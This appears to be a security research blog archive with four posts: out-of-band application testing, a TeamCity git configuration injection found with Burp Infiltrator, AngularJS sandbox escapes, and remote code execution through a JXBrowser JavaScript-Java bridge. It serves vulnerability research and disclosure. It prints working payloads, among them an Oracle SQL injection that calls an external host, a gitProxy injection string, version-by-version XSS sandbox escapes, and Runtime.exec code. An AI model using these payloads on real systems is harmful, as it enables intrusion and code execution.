Friday, July 14, 2017

OAST (Out-of-band Application Security Testing)

Speaking to a couple of “thought leader” types this week, I realized that not everyone has fully appreciated the power and innovation of Out-of-band Application Security Testing (OAST).

At PortSwigger, we don’t go in for marketing hype, and prefer to release phenomenal features, describe them accurately, and let users make up their own minds. When we first released Burp Collaborator, the immediate positive feedback soon turned into a deluge of praise when our users saw just how powerful it was in uncovering real-world vulnerabilities.

The most skilled manual penetration testers have been using out-of-band testing techniques for many years, but this generally involved setting up some custom private infrastructure, and manually correlating any network interactions with the tester’s activities. Further, little research had been published on how to coax vulnerable applications into initiating out-of-band network interactions in different situations.

Burp Collaborator was revolutionary in three ways:
  1. It made OAST available to the masses, just working out-of-the-box with zero configuration and no need for any private infrastructure.
  2. The Burp Suite research team developed innovative techniques for reliably triggering out-of-band interactions in the presence of a wide range of vulnerabilities, including blind SQL injection, blind cross-site scripting, blind XXE, blind server-side XML/SOAP injection, blind OS command injection, and SMTP header injection.
  3. With a bit of magic, Burp Collaborator correlates every out-of-band interaction with the exact request and payload that caused it, even if the interaction is deferred and happens days later due to an asynchronous vulnerability.
The landscape of application security testing is commonly divided into dynamic (DAST), static (SAST), and interactive (IAST) techniques. Marketing aside, the relative strengths and weaknesses of these approaches are well understood. But it appears that not everyone has taken on board the sheer power of out-of-band (OAST) techniques, and the strong advantages that OAST has over the other approaches. So we decided that maybe it is time to spell these out explicitly, so that everyone can think about them.

But first, what exactly is OAST?

OAST combines the delivery mechanism of conventional DAST with the detective power of IAST. It operates dynamically, sending payloads to a running application. These payloads pass through the application’s processing in the normal way. If a payload is ever handled in an unsafe manner, it effectively performs some in-place instrumentation to change the application’s behavior, causing it to make a network interaction (typically DNS) with an external system. The contents of that interaction allow the OAST tool to report the precise type of vulnerability and the input point that can be used to trigger it.

Here is an example of an OAST payload that, if it is ever used unsafely in a SQL query against an Oracle database, will cause a connection to the Burp Collaborator server:

'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % ekiom SYSTEM
"http://pibw1f1nhjh3vpkgtx6mtfnt8kea2eq8dy1n.burpcollab'||'orator.net/">
%ekiom;]>'),'/l') from dual)||'


So how does OAST outperform the other approaches to application security testing?
  • DAST is unable to detect numerous vulnerabilities that are completely invisible in application responses, where successful payloads cause no difference in response content or timing. Nor can it detect vulnerabilities that are triggered asynchronously after scanning is completed. Conversely, OAST is able to find completely invisible and deferred vulnerabilities.
  • SAST is notoriously prone to generating noise through false positives. Although it can often find obscure vulnerabilities that are invisible to DAST, these are unfortunately lost in the haystack of findings that require manual investigation. Conversely, OAST has virtually zero false positives. If the payload above causes an interaction, then we injected into an Oracle SQL query.
  • IAST involves making invasive changes to the running application to inject instrumentation. This is liable to introduce defects, impair performance, and create new attack surface. It certainly shouldn’t be used in production systems. Conversely, OAST involves no modification to the system under test, because the instrumentation is self-contained within the payload, and is performed in-place only at the point where the payload reaches a vulnerability.
Additionally, like DAST, OAST has the benefit of being agnostic as to the language and platform used in the application under test. The OAST payload above works on any application that uses Oracle in the relevant way, and doesn’t care whether that application is written in Java, .NET, PHP, or anything else. Conversely, SAST and IAST are both closely bound to specific technologies, and the tools in question need to be largely rewritten and maintained for each language and platform that they target. From the perspective of the creator of testing tools, it is far more realistic to provide good technology coverage for DAST and OAST tools. There is an evident trend among tool vendors in the direction of OAST, with both Acunetix and Netsparker making moves in the same direction.

We hope this post helps to communicate the sheer power and innovation of OAST, and how it differs in nature and capability from other approaches to application testing.

Thursday, June 22, 2017

Behind enemy lines: Bug hunting with Burp Infiltrator

In this article, I’ll demonstrate using Burp Infiltrator to identify an extremely versatile 0day in JetBrains’ TeamCity, a popular continuous integration server written in Java. Burp Infiltrator works by instrumenting target applications, injecting code to trace user input and help reveal obscure vulnerabilities that are extremely difficult to find using classical scanning techniques. I’ll also share some tips and techniques for using Infiltrator for maximum effectiveness. For a basic introduction to the Infiltrator, please refer to Introducing Burp Infiltrator.

Infiltrator injects code that sends a pingback to Burp Collaborator whenever it spots data supplied by Burp Scanner hitting a potentially vulnerable sink, like running a system command or making changes to the filesystem. This helps find vulnerabilities that might otherwise be masked by input transformations, input filtering or lack of output. It also reveals the code path traversed by the application to reach each dangerous API, making vulnerabilities easier to both patch and exploit.

A practical example: Poisoning repository configuration files via filter bypass

I started by spraying the infiltrated application with Collaborator IDs by disabling every scan check except External Service Interaction, enabling Live Active Scanning and browsing as a normal user.

After exploring the application for a while I noticed there were a few interactions that followed the same pattern across a number of pages. These interactions showed that the application was creating a byte array from user input, then passing it to the FileInputStream.read method. This method is called by a class in the org.eclipse.jgit package, which is a dependency of TeamCity’s Git plugin.

I was getting these interactions from pages related to creating a new project from a repository URL, which means the URL was likely being written to the filesystem. Although I can’t tell where these contents are being written to, I know the exact contents of the byte array. See the following screenshot:

This is an interesting parameter value: some sort of property based file being built with user-supplied data. The actual string looks like this after decoding:
[core]
   symlinks = false
   repositoryformatversion = 0
   filemode = true
   bare = true
   logallrefupdates = false
   precomposeunicode = true
[teamcity]
   remote = http://u94vddpu8vkqdi9ati21kd201r7jbozhn9a0yp.burpcollaborator.net
I immediately recognized this as a Git repository file configuration. This file format is very simple:

  • Sections are denoted as [sectionName], every section has a set of properties that are set with the propertyName = value format.
  • All strings after a semicolon or a hash are treated as comments.
  • The backslash escapes special characters.
  • Multiline property values are supported by adding a backslash at the end of the line.

My goal was to escape the teamcity section and set properties in the core section where most of the juicy stuff is. I used the Collaborator client to generate a series of interaction IDs that I would use for my payloads. Consequently, every attempt to escape the remote property generated an Infiltrator interaction with the contents of the file. This setup provides a handy feedback loop that allows one to determine the effect of an input value after it has been transformed by multiple layers of code.

After playing with this method for a while I realized that all the URLs I came up with were being escaped correctly and although I could use the 0x0a character to enter a newline, it would still be in the context of the remote property. Moreover, certain bytes would make the org.apache.commons.httpclient.HttpMethodBase class raise an exception due to these being illegal in a URL.

I refined my payload after a few attempts and ended up with the following proof of concept:
http://fakerepo/%23;%0dremote=http://realrepo;%0a%0d[core];%0a%0dgitProxy=http://attacker:5555

That generated the following file:
[core]
 … snip…
[teamcity]
 remote = http://realrepo;”\nttp://fakerepo#;
[core];”\n\
gitProxy=http://attacker:5555

Breaking up the payload above we get: the %23 (#) character keeps HttpClient from throwing an exception as everything in the URL fragment is ignored. The %0d (CR) character returns the caret to the beginning of the line, effectively writing on top of the original property. The semicolon comments out the leftovers from the original content and also escapes the backslash added by TeamCity after it decodes %0a (LF).

This is a simple primitive that allows us to escape the current property and write arbitrary data to the top level of the properties hierarchy. The impact of setting some of these properties is vast, ranging from code execution to inserting backdoors in the codebase (on behalf of a legitimate developer) to forcing developers to fetch arbitrary code onto their machines.

There are dozens of properties that can be added that could potentially lead to remote code execution, see: core.sshCommand, core.editor, gpg.program, amongst many others. Other properties allow an attacker to set a repository specific proxy, change the way in which signatures are checked, set the location from where git hooks are loaded and much more.

The above is an example of finding a bug and writing a working proof of concept for it using Burp Infiltrator. But this is just the tip of the iceberg, spraying an infiltrated application with Collaborator URLs can produce very interesting results such as:

  • Asynchronous Infiltrator events.
  • SMTP Collaborator events drawn from input transformations reported as Infiltrator interactions.
  • Correlating seemingly unrelated insertion points from multiple Infiltrator interactions generated by the same API
  • Interactions that point to multiple ways of reaching the same vulnerable code path from different insertion points.

The what

Infiltrating an application is an iterative process; selecting the right target paths depends on the volume of interactions you want to get. Ideally we are only interested in the application’s bytecode and its dependencies, but nothing else. This is because the application may not instantiate, say, an XML parser of its own but it may instead use a library to handle XML parsing. If that’s the case and we don’t infiltrate the XML dependency we won’t see those Infiltrator interactions coming through, even if the Scanner reliably detects XML vulnerabilities.

Conversely, if we blindly infiltrate everything we may end up with misleading interactions. For instance, when a web server receives a request it’ll use its path to determine which application it should send this request to. The following screenshot shows an example of this:


It looks like there is a file traversal issue, but the call stack shows that no code outside the org.eclipse.jetty package was executed. This interaction clearly doesn’t come from the application but rather from the web server itself.

Spray your target application with Collaborator IDs, wait for Infiltrator interactions to arrive and adjust your target paths accordingly.

The when

It is important to decide when is the right time to infiltrate your target application. In general, we want to patch every class that relates to a user feature. Most applications can be infiltrated before they are deployed for the first time but there’s a number of situations in which this may not be the case.

An example of this is extensibility through plugins. Plugins broaden the attack surface of an application at runtime. In this case it’s better to install all the plugins you want to test first, add the location of those plugins to your list of target paths and redeploy the infiltrated application.

JSP pages are a special case that deserves to be mentioned. Briefly, JSP code gets translated into servlets and those in turn are compiled to Java bytecode. Most implementations of JSP do this on demand, that is: JSPs will be compiled only after they have been requested by a client. That means that Infiltrator won’t instrument JSP files because they are not Java bytecode initially. Nevertheless, users can get around this in a number of ways. For instance, by triggering JSP pre-compilation manually before the application is deployed, which will generate the required bytecode.

Ran into trouble?

Keep an eye on exceptions in the web server logs (or the application logging facilities) if you see strange behaviour or if your application fails to start after infiltrating. Modern applications routinely throw exceptions, so you may filter on the following types if you think there’s something wrong:
  • java.lang.ClassFormatError
  • java.lang.VerifyError
  • java.lang.NoClassDefFoundError
  • java.lang.StackOverflowError
These four types of exceptions are good indicators that some classes or archives are making assumptions that were broken by the patching process. Please submit a report if you do stumble upon any of these, your feedback helps improve the Infiltrator experience!

Conclusion

A patch for the repository configuration vulnerability was released in version 2017.1.2 on June 2 along with a clickjacking issue that was used as part of the reported PoC.

It might not be in the OWASP top 10 just yet but we think Infiltrator-augmented testing is a valuable addition to any hacker’s playbook, and highly recommend you give it a go when you get the chance. Infiltrating applications might sound daunting, but a little attentiveness to when and how the infiltration is performed may yield exotic vulnerabilities and unexpected insights.

Happy hunting! - @salchoman

Thursday, May 11, 2017

DOM based AngularJS sandbox escapes

Last year in XSS Without HTML: Client-Side Template Injection with AngularJS we showed that naive use of the AngularJS framework exposes websites to Cross-Site Scripting (XSS) attacks, given a suitable sandbox escape. In this post, I'll look at how to develop a sandbox escape that works in a previously unexploitable context - the order by filter. I’ve written up the entire exploit development process including various techniques that didn’t quite work out.

I’ve also presented this research as part of AllStars 2017 at AppSec EU - I’ll link the recording as soon as it’s online.

DOM Based AngularJS sandbox escapes slides

Outline


Angular Sandbox History

When Angular first shipped it didn't have a sandbox at all, so in versions 1.0 - 1.1.5 there was no sandbox. But Angular expressions were scoped to a local object defined by the developer, which prevented you from calling functions on the window object because you would be scoped to the scope object and if you tried to call alert, it would call alert on the scope object and not the window object, making the function call fail. Mario Heiderich found a way around this restriction by using the constructor property. He discovered you can execute arbitrary code in expressions using the Function constructor.

{{constructor.constructor('alert(1)')()}}

Here, constructor refers to the scope constructor property which is the Object constructor. constructor.constructor is the Function constructor which allows you to generate a function from a string and therefore execute arbitrary code.

After Mario's exploit Angular introduced a basic sandbox; the ensureSafeMemberName function was born. This function checked JavaScript properties for the constructor property, and also rejected properties containing an underscore at the start or end of the string.

function ensureSafeMemberName(name, fullExpression, allowConstructor) {
 if(name === "constructor" && !allowConstructor) {
   throw …
 }
 if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
   throw …
 }
 return name;
}
Jan Horn found found the first public sandbox escape for 1.2.0.

{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
}}

He used the sub function (which is an ancient JavaScript string method that generates a sub tag) as a shortcut to get a function in Angular because it's a very short name. Then he used call.call to get the generic call method; normally when you use a single call method this will execute on the current function but using call.call the generic call function allows you to choose a function to call.

He then uses getOwnPropertyDescriptor to get the descriptor of the function prototype object and the constructor property. A descriptor is an object literal that describes an object property; it will tell you if the property is enumerable, configurable, writable and if it has any getters and setters. "value" will also contain a reference to the property value.

Value will contain a reference to the Function constructor which he sends to the generic call method’s first argument. The second argument doesn’t matter - it’s meant to specify the object used when executing the function, but the Function constructor ignores it and uses the window object instead. As such, Jan just passes in a zero. Finally he passes the code he wishes to execute, escaping the sandbox by generating a new function via the Function constructor.

In response to this excellent bypass Angular improved their sandbox. They improved the ensureSafeMemberName function to check specifically for certain property names such as __proto__.

function ensureSafeMemberName(name, fullExpression) {
  if (name === "__defineGetter__" || name === "__defineSetter__" || name === "__lookupGetter__" || name === "__lookupSetter__" || name === "__proto__") {
   throw …
  }
 return name;
}

They also introduced a new function that checks for specific objects when referencing them or calling functions. The ensureSafeObject function checked for the Function constructor, the window object, DOM elements and the Object constructor.

function ensureSafeObject(obj, fullExpression) {
  if (obj) {
    if (obj.constructor === obj) {
      throw …
    } else if (obj.window === obj) {
     throw …
    } else if (obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
     throw …
    } else if (obj === Object) {
     throw …
    }
  }
 return obj;
}
Then we had a bit of a sandbox party and every version of the Angular sandbox was broken. I did a blog post about my particular sandbox escape and it also lists all of the escapes from the earliest to the latest version (1.5.11) were the sandbox is active. Eventually Angular decided to remove the sandbox completely in version 1.6 for performance and because they didn't consider the sandbox to be a security feature.

Developing DOM based sandbox escapes

You might think the fun is over regarding sandbox escapes since it was removed in Angular 1.6. However not quite yet...after I delivered a talk in London Lewis Ardern pointed out to me that Angular expressions can be executed within an order by filter and developers may use user input like location.hash to set the order by filter.

I noticed that the code was being parsed and executed without "{{" or "}}" and that $eval and $$watchers were not available inside the sandboxed environment. This made a lot of previous sandbox escapes ineffective since they relied on using $eval or $$watchers. If we look at the list of public sandbox escapes below, you can see which ones work inside the order by context and which don't.


1.0.1 - 1.1.5 == works
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);

1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");

1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
   !call
   ? $$watchers[0].get(toString.constructor.prototype)
   : (a = apply) &&
   (apply = constructor) &&
   (valueOf = call) &&
   (''+''.toString(
   'F = Function.prototype;' +
   'F.apply = F.a;' +
   'delete F.a;' +
   'delete F.valueOf;' +
   'alert(1);'
  ))
); 

1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//');  
 
1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')() 
I decided to start with version 1.3.0. The first problem I had to solve was how to enumerate objects inside this environment so I could see what properties were available. Modifying the String prototype proved a useful method for inspecting sandboxed code; I would assign a property I wanted to inspect to the string prototype with the same name and then use a setTimeout to retrieve that value. The code worked like this:


// sandboxed code 
'a'.constructor.prototype.xPropertyIwantedToInspect=PropertyIwantedToInspect;
//outside sandboxed code
setTimeout(function(){
   for(var i in '') {
      if(''[i]) {
        for(var j in ''[i]) {
         if(''[i][j])alert(j+'='+''[i][j]);
        }
      }
   }
});
I then extracted all the keywords and variables from the Angular source code and ran it sandboxed. Although the code didn't show me any dangerous functions like $eval that I could use to escape the sandbox, it did find some interesting behaviour. When defining a getter on the Object prototype with a function of [].toString, I found that the join function was being called on the object! The idea here was to get the join function to call the Function constructor and pass arguments and execute arbitrary JavaScript. The fiddle I used is here. On every major browser using the toString function as a getter or as a method on an object automatically calls join on that object. Unfortunately I couldn't find a way to pass arguments. Here's how it works outside of Angular code.

'a'.sub.__proto__.__defineGetter__('x',[].toString);
'a'.sub.__proto__.join=Function;
alert('a'.sub.x+''); // outputs function anonymous

It even works on window too. The example below overwrites the toString property of window with [].toString and you'll see join gets called on window and the alert fires.

toString=[].toString
join=alert;
window+1 // calls alert without any arguments 

So of course I fuzzed all the objects and properties to see what other functions call join. When using an array literal with a getter the following functions all call join: copyWithin, fill, reverse, sort, valueOf, toString.

o=[1,2,3];
o.__defineGetter__('x',[].fill);
o.join=function(){alert(1);};
o.x+''

Breaking 1.3.0

Pretty cool behaviour but I decided to change direction and try something different. I played around with 1.3.0 some more and noticed that when modifying the Object prototype you could reference the Function and Object constructors! When calling the Function constructor Angular would throw an error but because I could access the Object constructor, I had access to all its methods:

{}[['__proto__']]['x']=constructor;
I used an array with the property accessor to bypass Angular's ensureSafeMemberName check because Angular looks for dangerous strings using the strict equals operator and is not expecting an array. Using the object enumeration technique mentioned previously I saw the Object constructor was successfully assigned. I first created a reference to getOwnPropertyDescriptor, then assigned the variable "g" to it.

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];
Next I used getOwnPropertyDescriptor to get the Function prototype descriptor. I'll use this later to get the Function constructor.

{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
I also need a reference to defineProperty so I can overwrite the constructor property to bypass Angular's ensureSafeObject check.

{}[['__proto__']]['z']=constructor.defineProperty;
Here is how I use defineProperty to overwrite "constructor" to false.
d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});

Finally I use the descriptor obtained using getOwnPropertyDescriptor to get a reference to the Function constructor without using the constructor property.

{}[['__proto__']]['y'].value('alert(1)')()
The complete sandbox escape is below and works in Angular versions 1.2.24-1.2.26/1.3.0-1.3.1.

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;
g={}[['__proto__']]['x'];
{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];
d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()

Sandbox escape PoC 1.3.0

Owning the 1.3 branch

That sandbox escape was cool but it only worked on a limited number of Angular versions. I wanted to own the entire 1.3 branch. I started to look at how they parse expressions. Testing version 1.2.27 I added a breakpoint at line 1192 of the Angular file and started to test various object properties to see how they would rewrite the code. I spotted something interesting, if you didn't include an alphanumeric property Angular seemed to eat the semi-colon character and think it was an object property. Here's what the expression looked like:

{}.;

Here is how Angular rewrote the code (note you have to continue 5 times in the debugger):

var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty(";"))?l:s)[";"];
return s;"

As you can see Angular was including the semi-colon twice in the rewritten output. What if we break out of the double quote? We can basically XSS the rewritten code and bypass the sandbox. In order for this to work we need to provide a valid string to Angular so we don't break the initial parsing of the expression. Angular seems fine with parsing an object property with quotes :) and so may I present the smallest possible Angular sandbox escape:

{}.",alert(1),";

This causes the rewritten output to be:

var p;
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s)["",alert(1),""];
return s;
Sandbox escape PoC 1.2.27

To get this to work in the 1.3 branch we just have to slightly modify the vector to break out of the rewritten code. If you observe the rewritten code in version 1.3.4 you will notice that it creates a syntax error.

if(s == null) return undefined;
s=((l&&l.hasOwnProperty("",alert(1),""))?l:s).",alert(1),";
return s;
We just need to break out of the parenthesis and comment out the syntax error and here is the final vector which works for 1.2.27-1.2.29/1.3.0-1.3.20.

{}.")));alert(1)//";
Sandbox escape PoC 1.3.20

Breaking 1.4

Next I decided to look at the 1.4 branch. Earlier versions of the 1.4 branch were vulnerable to the accessor trick of using an array to access __proto__, __defineSetter__ etc, I thought maybe I could use some of those properties/methods to escape the sandbox somehow. I needed to overwrite "constructor" and retain access to the Function constructor as before but this time I didn't have access to the Object constructor because the sandbox has been tightened on this branch.

On Safari/IE11 it's possible to set globals using __proto__. You cannot overwrite existing properties but you can create new ones. This proved a dead end since defined properties take priority over inherited ones from the Object prototype.

({}).__proto__.__proto__={__proto__:null,x:123};
alert(window.x)//works on older versions of safari and IE11

Because Angular uses a truthy check in ensureSafeObject I thought maybe using a boolean could fail the check and then get access to the Function constructor. However Angular checks every property in the object chain so it does detect the constructor. Here's how it could have worked.


false.__proto__.x=Function;
if(!false)false.x('alert(1)')();

It's also possible to overwrite the constructor property of the Function constructor by assigning its __proto__ property to null which makes constructor undefined, but if you use Function.prototype.constructor you can get the original Function constructor. This proved another dead end as in order to overwrite the __proto__ property of the Function constructor you need access to it in the first place and Angular will block it. You can overwrite the constructor property for every function but unfortunately this means you cannot access the original.

Function.__proto__=null;
alert(Function.constructor);//undefined
Function.prototype.constructor('alert(1)')();

In Firefox 51 it's possible to get the caller of a function using __lookupGetter__. All other browsers prevent access to caller this way. Interesting, but with no functions available in Angular it proved another dead end.


function y(){
   alert(y.__lookupGetter__('caller').call(y));
}
function x(){
   y()
}
x();

I next looked at using __defineGetter__ and valueOf to create an alias to the Function constructor.

'a'.sub.__proto__.__defineGetter__('x',[].valueOf);
Function.x('alert(1)')();

You can also use getters to execute a function that normally requires an object. So the "this" value becomes the object you assigned the getter to. For example the __proto__ function will not execute without an object, using a getter will allow you to use the __proto__ function to get the object prototype.

o={};
o.__defineGetter__('x','a'.sub.__lookupGetter__('__proto__'));
o.x//gets the __proto__ of the current object

The above technique failed because even though I created an alias to the Function constructor there was no way to access the Function constructor without destroying the constructor property. It did give me an idea though. Maybe I could use __lookupGetter__/__defineSetter__ in the scope of window.


On Chrome you can save a reference to __lookupGetter__ and it will use window as the default object enabling you to access the document object.

l={}.__lookupGetter__;
l('document')().defaultView.alert(1)
You can also use __defineSetter__ this way too.

x={}.__defineSetter__;
x('y',alert);
y=1
Angular converts direct function calls like alert() into method invocations on the Angular object. To work around this I use an indirect call ‘(l=l)’ which makes the __lookupGetter__ function execute in the context of the window, granting access to the document.

x={};l=x[['__lookupGetter__']];
d=(l=l)('document')();
Great we have access to document so it's game over for Angular right? Well not quite yet. Angular also checks every object to see if it's a DOM node:
...

} else if (// isElement(obj)
   obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
   throw $parseMinErr('isecdom','Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}', fullExpression);
}
...

When the getter function is called Angular will block the document object. I thought I could use __defineGetter__ to assign the getter function to a property but this will break the reference to window and so the document won't be returned. I fuzzed every property in Chrome 56.0.2924.87 to see which getters were available and only __proto__ and document were available. Then I decided to try Chrome beta 57.0.2987.54 and a lot more getters were available!

I looked through all the getters and began testing to see if I could execute arbitrary code. I found I could steal localStorage and navigate history, but that isn’t particularly scary. After testing for a while I noticed the event object was available. Each event object has a target property which refers to the current DOM object of the event. It turns out Angular doesn’t check this property and I could simply execute code by using the target property to get the document object and defaultView to get access to window then assigning to location.

o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';

Sandbox escape PoC 1.4.5 (chrome only)

Breaking newer versions of the sandbox

In newer versions of the Angular sandbox, the __lookupGetter__ function is protected correctly. You can no longer access it using the array object accessor trick. To exploit these versions of Angular I needed some sort of Angular eval so we could make previous exploits in a regular Angular expression work in the order by context. The order by filter evaluates a string as an Angular expression, so we can get our eval by calling a nested order by from within the outer order by.


First we execute the first part of a sandbox escape to make charAt return a longer string rather than a single character and break the isIdent function as mentioned on my previous blog post. Then we call the order filter on our string payload to execute.

x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'

Sandbox escape PoC 1.5.0 (chrome only)

Breaking CSP mode


The previous sandbox escape works on versions 1.5.0 - 1.5.8. I started to look at 1.5.11 to see if I could break that. Unfortunately I couldn't break it in a DOM based context however I discovered a bypass that works in attributes. Using my object enumeration strategy, I found that in Chrome, the $event object in Angular contains an array stored in its path property. The path property contains an array holding both document and window! By passing this array to the order by filter I could change the scope that the evaluated expression executes in to the window:

<div ng-click="$event.path|orderBy:'alert(1)'">test</div>

This escape works in an attribute context but when you enable CSP it will fail. Angular seems to check the window object of the calling function in CSP mode and will therefore prevent the sandbox escape from executing. To get round this we simply need to call the alert function indirectly and the Array.from function provides a convenient way of doing this. It takes two arguments;an array like object and a function to execute on every element of the array. I pass an array with 1 in the first argument and the alert function to call in the second argument. This bypasses CSP mode and should work in every Angular version.


<div ng-click="$event.path|orderBy:'[].constructor.from([1],alert)'">test</div>

CSP bypass for 1.5.11 (chrome only)

Conclusion

When using Angular, it’s crucial to avoid passing user input into filters like order by, as well as server-side reflection of user input. Regardless of which version of Angular you’re using, and what context user input is being interpreted in, it’s best to assume the sandbox has been bypassed.

If you’re thinking about adding a sandbox to your language, carefully consider whether the security benefits will outweigh the development cost and the potential false sense of security some users may feel.
Enjoy the sandbox escapes - @garethheyes

List of DOM based Angular sandbox escapes

1.0.1 - 1.1.5
Mario Heiderich (Cure53)
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18
Jan Horn (Cure53)
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23
Mathias Karlsson
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);

1.2.24-1.2.26
Gareth Heyes (PortSwigger)
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');
{}[['__proto__']]['z']=constructor.defineProperty;
d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});
{}[['__proto__']]['y'].value('alert(1)')()

1.2.27-1.2.29/1.3.0-1.3.20
Gareth Heyes (PortSwigger)
{}.")));alert(1)//";

1.4.0-1.4.5
Gareth Heyes (PortSwigger)
o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(1)';

1.4.5-1.5.8
Gareth Heyes (PortSwigger) & Ian Hickey
x={y:''.constructor.prototype};
x.y.charAt=[].join;
[1]|orderBy:'x=alert(1)'
>=1.6.0
Mario Heiderich (Cure53)
constructor.constructor('alert(1)')()

Thursday, December 8, 2016

RCE in JXBrowser JavaScript/Java bridge

I recently found myself prototyping an experimental scanning technique using JXBrowser, a library for using a PhantomJS-like browser in Java applications. Whilst creating a JavaScript to Java bridge using the JXBrowser library, I wondered if it was possible to achieve remote code execution from a web page attacking the JXBrowser client by calling different classes than the one I supplied. My JavaScript to Java bridge looked something like this:

browser.addScriptContextListener(new ScriptContextAdapter() {
    @Override
    public void onScriptContextCreated(ScriptContextEvent event) {
        Browser browser = event.getBrowser();
        JSValue window = browser.executeJavaScriptAndReturnValue("window");
        window.asObject().setProperty("someObj", new someJavaClass());
    }
});

This example was taken from the JXBrowser web site, basically the code injects a script into the browser instance, retrieves the window object and converts it into a Java JSValue object, then it sets “someObj” on the window and passes the Java object to the JavaScript window object and we have a bridge! The docs said that only public classes could be used. Once we have created a bridge we need some JavaScript to interact with it.

setTimeout(function f(){
    if(window.someObj && typeof window.someObj.javaFunction === 'function') {
      window.someObj.javaFunction("Called Java function from JavaScript");
    } else {
       setTimeout(f,0);
    }
},0);

We have a setTimeout that checks to see if we have “someObj”, if not it calls itself until we do. My first attempt was to use getRuntime() to see if I could get an instance of the runtime object and execute calc. I called:

window.someObj.getClass().forName('java.lang.Runtime').getRuntime();

I got the following error back:
Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.

Maybe it wasn’t possible to call getRuntime? I tried to do something simpler:

window.someObj.getClass().getSuperclass().getName();

This seemed to work. I tried enumerating the methods too.

methods = window.someObj.getClass().getSuperclass().getMethods();
for(i=0;i<methods.length();i++) {
   console.log(methods[i].getName());
}
 
wait
wait
wait
equals
toString
hashCode
getClass
notify
notifyAll

So I could successfully enumerate the methods. I decided to try ProcessBuilder next and see what would happen. But every time I tried to call the constructor it failed. It seems the constructor was expecting a Java Array. Somehow I needed to create a Java array of strings so I could pass it to the ProcessBuilder constructor.

window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance("open","-a Calculator");
//Failed

window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(["open","-a Calculator"]);
//Failed too 

Leaving this problem for a second I tried to create another object that would prove this is vulnerable. I could successfully create an instance of the java.net.Socket class.

window.someObj.getClass().forName("java.net.Socket").newInstance();

I tried calling “connect” on this object but again I had the problem of incorrect types for the arguments. This did prove however that I could create socket objects, I couldn’t use them but I could at least create them. It’s worth noting here that I wasn’t passing any arguments for this to work. Next I tried the java.io.File class but again it failed, I had no option but to use reflection but any time a function was expecting arguments I couldn’t supply it with the correct type. newInstance didn’t work and invoke didn’t work.

I needed help, I needed Java expert help. Fortunately working at Portswigger you are never the smartest one in the room :) I asked Mike and Patrick for their help. I explained the problem that I needed a Java array in order to pass arguments to a function and so we began looking for ways to create arrays in our bridge.

Mike thought maybe using an arraylist was the answer because we could convert it to an array with it’s convenient toArray method.

list = window.someObj.getClass().forName("java.util.ArrayList").newInstance(); 
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));

The call threw a no such method exception and stated that our argument passed was in fact a JSObject. So even though we created an ArrayList the toArray was being converted to a js object by the bridge so the incorrect argument type was being sent to process builder.

We then tried to create an Array instead. Using reflection again we called new instance on the java.lang.reflect.Array but it complained that again we had incorrect argument types, we were sending a double but it was expecting an int. Then we tried to create an int using java.lang.Integer. But again we had the damn argument type problem. Patrick thought we could use the MAX_INT property and create a huge array :) but at least we’d have our int but no, the bridge of course was converting the integer from java into a double.

This is what we tried:
window.someObj.getClass().forName("java.lang.Integer").getDeclaredField("MAX_VALUE").getInt(null);

But we got a null pointer exception and without arguments didn’t work either but this is JavaScript remember I thought why not send 123 and see if it will be accepted as an argument and we thought it wouldn’t work but it did in fact print out our max int. We continued trying to call the Array constructor with our max int value but it of course failed. Then we decided to look at the runtime object and see if we could use the same technique. Mike suggested using getDeclaredField and get the current runtime property and making it accessible because it was a private property and to our great delight we popped the calculator.

field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime");
field.setAccessible(true);
runtime = field.get(123);
runtime.exec("open -a Calculator");

This meant any website rendered in JXBrowser by code employing the JavaScript-Java bridge could potentially take complete control of the client.

